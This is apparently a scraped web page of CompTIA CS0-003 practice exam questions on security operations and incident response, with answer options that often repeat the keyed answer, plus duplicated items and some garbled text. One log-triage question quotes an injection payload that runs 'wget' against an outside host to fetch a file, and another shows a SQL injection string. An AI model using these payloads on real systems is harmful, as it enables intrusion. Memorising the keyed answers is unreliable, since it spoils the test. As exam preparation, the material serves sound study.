An organization has a critical financial application hosted online that does not allow event logging to send to the corporate SIEM. Which of the following is the best option for the security analyst to configure to improve the efficiency of security operations?

Use a vendor-provided API to automate pulling the logs in real time.

Configure a new SIEM specific to the management of the hosted environment.

Subscribe to a threat feed related to the vendor's application.

Use a vendor-provided API to automate pulling the logs in real time.

Download and manually import the logs outside of business hours.

A regulated organization experienced a security breach that exposed a list of customer names with corresponding PH data. Which of the following is the best reason for developing the organization's communication plans?

To ensure incidents are immediately reported to a regulatory agency

For the organization's public relations department to have a standard notification

To ensure incidents are immediately reported to a regulatory agency

To automate the notification to customers who were impacted by the breach

To have approval from executive leadership on when communication should occur

Which of the following explains the importance of a timeline when providing an incident response report?

The timeline provides all the information, in the form of a timetable, of the whole incident response process including actions taken.

The timeline contains a real-time record of an incident and provides information that helps to simplify a postmortem analysis.

An incident timeline provides the necessary information to understand the actions taken to mitigate the threat or risk.

The timeline provides all the information, in the form of a timetable, of the whole incident response process including actions taken.

An incident timeline presents the list of commands executed by an attacker when the system was compromised, in the form of a timetable.

An organization receives a legal hold request from an attorney. The request pertains to emails related to a disputed vendor contract. Which of the following is the first step for the security team to take to ensure compliance with the request?

Notify the departments involved to preserve potentially relevant information.

Publicly disclose the request to other vendors.

Notify the departments involved to preserve potentially relevant information.

Establish a chain of custody, starting with the attorney's request.

Back up the mailboxes on the server and provide the attorney with a copy.

An incident response team member is triaging a Linux server. The output is shown below:$ cat /etc/passwdroot:x:0:0::/:/bin/zshbin:x:1:1::/:/usr/bin/nologindaemon:x:2:2::/:/usr/bin/nologinmail:x:8:12::/var/spool/mail:/usr/bin/nologinhttp:x:33:33::/srv/http:/bin/bashnobody:x:65534:65534:Nobody:/:/usr/bin/nologingit:x:972:972:git daemon user:/:/usr/bin/git-shell$ cat /var/log/httpdat org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:241)at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:208)at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:316)at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)WARN [struts2.dispatcher.multipart.JakartaMultipartRequest] Unable to parse request container.getlnstance.(#wget http://grohl.ve.da/tmp/brkgtr.zip;#whoami)at org.apache.commons.fileupload.FileUploadBase$FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947) at org.apache.commons.fileupload.FileUploadBase.getItemiterator(FileUploadBase.java:334)at org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultiPartRequest.java:188) org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultipartRequest.java:423)Which of the following is the adversary most likely trying to do?

Execute commands through an unsecured service account.

Create a backdoor root account named zsh.

Execute commands through an unsecured service account.

Send a beacon to a command-and-control server.

Perform a denial-of-service attack on the web server.

A SOC analyst observes reconnaissance activity from an IP address. The activity follows a pattern of short bursts toward a low number of targets. An open-source review shows that the IP has a bad reputation. The perimeter firewall logs indicate the inbound traffic was allowed. The destination hosts are high-value assets with EDR agents installed. Which of the following is the best action for the SOC to take to protect against any further activity from the source IP?

Add the IP address to the EDR deny list.

Create a SIEM signature to trigger on any activity from the source IP subnet detected by the web proxy or firewalls for immediate notification.

Implement a prevention policy for the IP on the WAF

Activate the scan signatures for the IP on the NGFWs.

A systems administrator needs to gather security events with repeatable patterns from Linux log files. Which of the following would the administrator most likely use for this task?

Variables in a PowerShell script

An analyst is reviewing a dashboard from the company's SIEM and finds that an IP address known to be malicious can be tracked to numerous high-priority events in the last two hours. The dashboard indicates that these events relate to TTPs. Which of the following is the analyst most likely using?

Diamond Model of Intrusion Analysis

A SOC analyst observes reconnaissance activity from an IP address. The activity follows a pattern of short bursts toward a low number of targets. An open-source review shows that the IP has a bad reputation. The perimeter firewall logs indicate the inbound traffic was allowed. The destination hosts are high-value assets with EDR agents installed. Which of the following is the best action for the SOC to take to protect against any further activity from the source IP?

Add the IP address to the EDR deny list.

Create a SIEM signature to trigger on any activity from the source IP subnet detected by the web proxy or firewalls for immediate notification.

Implement a prevention policy for the IP on the WAF.

Activate the scan signatures for the IP on the NGFWs.

SIMULATIONAn organization's website was maliciously altered.INSTRUCTIONSReview information in each tab to select the source IP the analyst should be concerned about, the indicator of compromise, and the two appropriate corrective actions.

see the explanation for step by step solution.

SIMULATIONA systems administrator is reviewing the output of a vulnerability scan.INSTRUCTIONSReview the information in each tab.Based on the organization's environment architecture and remediation standards, select the server to be patched within 14 days and select the appropriate technique and mitigation.

see the explanation for step by step solution

K company has recently experienced a security breach via a public-facing service. Analysis of the event on the server was traced back to the following piece of code:SELECT ' From userjdata WHERE Username = 0 and userid8 1 or 1=1;---Which of the following controls would be best to implement?

Deploy a wireless application protocol.

Remove the end-of-life component.

Implement proper access control.

A report contains IoC and TTP information for a zero-day exploit that leverages vulnerabilities in a specific version of a web application. Which of the following actions should a SOC analyst take first after receiving the report?

Verify whether the information is relevant to the organization.

Implement a vulnerability scan to determine whether the environment is at risk.

Block the IP addresses and domains from the report in the web proxy and firewalls.

Verify whether the information is relevant to the organization.

Analyze the web application logs to identify any suspicious or malicious activity.

A systems administrator is reviewing after-hours traffic flows from data center servers and sees regular, outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well. Which of the following is the most likely explanation?

Command-and-control beaconing activity

Anomalous activity on unexpected ports

Network host IP address scanning

A web application has a function to retrieve content from an internal URL to identify CSRF attacks in the logs. The security analyst is building a regular expression that will filter out the correctly formatted requests. The target URL is https://10.1.2.3/api, and the receiving API only accepts GET requests and uses a single integer argument named 'id.' Which of the following regular expressions should the analyst use to achieve the objective?

'https://10\.1\.2\.3/api\?id=\d+

(?!https://10\.1\.2\.3/api\?id=[0-9]+)

'https://10\.1\.2\.3/api\?id=\d+

(?:'https://10\.1\.2\.3/api\?id-[0-9]+)

https://10\.1\.2\.3/api\?id[0-9J$

Which of the following best explains the importance of network microsegmentation as part of a Zero Trust architecture?

To limit how far an attack can spread

To allow policies that are easy to manage and less granular

To increase the costs associated with regulatory compliance

To limit how far an attack can spread

To reduce hardware costs with the use of virtual appliances

Which of the following responsibilities does the legal team have during an incident management event? (Select two).

Review and approve new contracts acquired as a result of an event.

Advise the Incident response team on matters related to regulatory reporting.

Coordinate additional or temporary staffing for recovery efforts.

Review and approve new contracts acquired as a result of an event.

Advise the Incident response team on matters related to regulatory reporting.

Ensure all system security devices and procedures are in place.

Conduct computer and network damage assessments for insurance.

Verify that all security personnel have the appropriate clearances.

A SOC team lead occasionally collects some DNS information for investigations. The team lead assigns this task to a new junior analyst. Which of the following is the best way to relay the process information to the junior analyst?

Write a step-by-step document on the team wiki outlining the process.

Ask another team member to demonstrate their process.

Email a link to a website that shows someone demonstrating a similar process.

Let the junior analyst research and develop a process.

Write a step-by-step document on the team wiki outlining the process.

Which of the following responsibilities does the legal team have during an incident management event? (Select two).

Review and approve new contracts acquired as a result of an event.

Advise the incident response team on matters related to regulatory reporting.

Coordinate additional or temporary staffing for recovery efforts.

Review and approve new contracts acquired as a result of an event.

Advise the incident response team on matters related to regulatory reporting.

Ensure all system security devices and procedures are in place.

Conduct computer and network damage assessments for insurance.

Verify that all security personnel have the appropriate clearances.

Which of the following best explains the importance of the implementation of a secure software development life cycle in a company with an internal development team?

Decreases the risks of the software usage and complies with regulatory requirements

Increases the product price by using the implementation as a piece of marketing

Decreases the risks of the software usage and complies with regulatory requirements

Improves the agile process and decreases the amount of tests before the final deployment

Transfers the responsibility for security flaws to the vulnerability management team

Which of the following is the best reason to implement an MOU?

To allow internal departments to understand security responsibilities

To create a business process for configuration management

To allow internal departments to understand security responsibilities

To allow an expectation process to be defined for legacy systems

To ensure that all metrics on service levels are properly reported

Which of the following is the best framework for assessing how attackers use techniques over an infrastructure to exploit a target's information assets?

Diamond Model of Intrusion Analysis

Structured Threat Information Expression

Open Source Security Testing Methodology Manual

Diamond Model of Intrusion Analysis

In the last hour, a high volume of failed RDP authentication attempts has been logged on a critical server. All of the authentication attempts originated from the same remote IP address and made use of a single valid domain user account. Which of the following mitigating controls would be most effective to reduce the rate of success of this brute-force attack? (Select two)

Configure user account lockout after a limited number of failed attempts.

Block inbound to TCP port 3389 from untrusted remote IP addresses at the perimeter firewall.

Increase the granularity of log-on event auditing on all devices.

Enable host firewall rules to block all outbound traffic to TCP port 3389.

Configure user account lockout after a limited number of failed attempts.

Implement a firewall block for the IP address of the remote system.

Install a third-party remote access tool and disable RDP on all devices.

Block inbound to TCP port 3389 from untrusted remote IP addresses at the perimeter firewall.

An analyst is reviewing a dashboard from the company's SIEM and finds that an IP address known to be malicious can be tracked to numerous high-priority events in the last two hours. The dashboard indicates that these events relate to TTPs. Which of the following is the analyst most likely using?

Diamond Model of Intrusion Analysis

A Chief Information Security Officer (CISO) has determined through lessons learned and an associated after-action report that staff members who use legacy applications do not adequately understand how to differentiate between non-malicious emails and phishing emails. Which of the following should the CISO include in an action plan to remediate this issue?

Awareness training and education

Replacement of legacy applications

Multifactor authentication on all systems

A security analyst runs the following command:# nmap -T4 -F 192.168.30.30Starting nmap 7.6Host is up (0.13s latency)PORT STATE SERVICE23/tcp open telnet443/tcp open https636/tcp open ldapsWhich of the following should the analyst recommend first to harden the system?

Disable all protocols that do not use encryption.

Configure client certificates for domain services.

Ensure that this system is behind a NGFW.

Deploy a publicly trusted root CA for secure websites.

CompTIA CS0-003 Practice Test 9 - Free Online Exam Prep & Questions

An MSSP received several alerts from customer 1, which caused a missed incident response deadline for customer 2. Which of the following best describes the document that was violated?

Become a Premium Member for full access

Unlock Premium Member

CompTIA CS0-003 Practice Test 9

Question

CompTIA CS0-003 Practice Tests

Practice Tests